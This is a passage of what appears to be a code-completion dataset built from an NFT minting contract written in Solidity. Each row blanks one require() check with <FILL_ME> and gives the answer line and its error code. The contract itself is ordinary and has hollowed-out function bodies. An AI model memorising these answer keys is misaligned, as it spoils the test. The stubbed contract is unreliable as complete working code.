uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(<FILL_ME>) // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| burned[relation.id]==_msgSender(),"8a" | 412,628 | burned[relation.id]==_msgSender() |
"8a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(<FILL_ME>) // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| IRelation(relation.addr).burned(relation.id)==_msgSender(),"8a" | 412,628 | IRelation(relation.addr).burned(relation.id)==_msgSender() |
"8b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(<FILL_ME>) // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
